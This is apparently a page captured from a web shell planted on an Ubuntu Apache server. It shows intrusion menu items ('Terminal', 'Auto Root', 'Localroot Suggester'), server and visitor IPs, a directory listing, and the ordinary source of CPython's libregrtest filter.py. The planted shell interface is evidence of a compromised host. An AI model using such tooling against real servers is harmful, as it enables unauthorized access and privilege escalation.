Linux jobworks 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
Apache/2.4.58 (Ubuntu)
Server IP : 10.0.1.5 & Your IP : 216.73.217.52
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.12 /
test /
libregrtest /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-07-07 06:41
__init__.py
0
B
-rw-r--r--
2026-06-19 12:46
cmdline.py
23.04
KB
-rw-r--r--
2026-06-19 12:46
filter.py
2.4
KB
-rw-r--r--
2026-06-19 12:46
findtests.py
3.47
KB
-rw-r--r--
2026-06-19 12:46
logger.py
2.69
KB
-rw-r--r--
2026-06-19 12:46
main.py
25.68
KB
-rw-r--r--
2026-06-19 12:46
mypy.ini
997
B
-rw-r--r--
2026-06-19 12:46
pgo.py
1.37
KB
-rw-r--r--
2026-06-19 12:46
refleak.py
7.81
KB
-rw-r--r--
2026-06-19 12:46
result.py
7.03
KB
-rw-r--r--
2026-06-19 12:46
results.py
8.91
KB
-rw-r--r--
2026-06-19 12:46
run_workers.py
21.84
KB
-rw-r--r--
2026-06-19 12:46
runtests.py
6.8
KB
-rw-r--r--
2026-06-19 12:46
save_env.py
12.74
KB
-rw-r--r--
2026-06-19 12:46
setup.py
4.89
KB
-rw-r--r--
2026-06-19 12:46
single.py
10.4
KB
-rw-r--r--
2026-06-19 12:46
testresult.py
6.09
KB
-rw-r--r--
2026-06-19 12:46
tsan.py
700
B
-rw-r--r--
2026-06-19 12:46
utils.py
21.2
KB
-rw-r--r--
2026-06-19 12:46
win_utils.py
4.56
KB
-rw-r--r--
2026-06-19 12:46
worker.py
3.09
KB
-rw-r--r--
2026-06-19 12:46
Save
Rename
import itertools import operator import re # By default, don't filter tests _test_matchers = () _test_patterns = () def match_test(test): # Function used by support.run_unittest() and regrtest --list-cases result = False for matcher, result in reversed(_test_matchers): if matcher(test.id()): return result return not result def _is_full_match_test(pattern): # If a pattern contains at least one dot, it's considered # as a full test identifier. # Example: 'test.test_os.FileTests.test_access'. # # ignore patterns which contain fnmatch patterns: '*', '?', '[...]' # or '[!...]'. For example, ignore 'test_access*'. return ('.' in pattern) and (not re.search(r'[?*\[\]]', pattern)) def get_match_tests(): global _test_patterns return _test_patterns def set_match_tests(patterns): global _test_matchers, _test_patterns if not patterns: _test_matchers = () _test_patterns = () else: itemgetter = operator.itemgetter patterns = tuple(patterns) if patterns != _test_patterns: _test_matchers = [ (_compile_match_function(map(itemgetter(0), it)), result) for result, it in itertools.groupby(patterns, itemgetter(1)) ] _test_patterns = patterns def _compile_match_function(patterns): patterns = list(patterns) if all(map(_is_full_match_test, patterns)): # Simple case: all patterns are full test identifier. # The test.bisect_cmd utility only uses such full test identifiers. return set(patterns).__contains__ else: import fnmatch regex = '|'.join(map(fnmatch.translate, patterns)) # The search *is* case sensitive on purpose: # don't use flags=re.IGNORECASE regex_match = re.compile(regex).match def match_test_regex(test_id, regex_match=regex_match): if regex_match(test_id): # The regex matches the whole identifier, for example # 'test.test_os.FileTests.test_access'. return True else: # Try to match parts of the test identifier. # For example, split 'test.test_os.FileTests.test_access' # into: 'test', 'test_os', 'FileTests' and 'test_access'. return any(map(regex_match, test_id.split("."))) return match_test_regex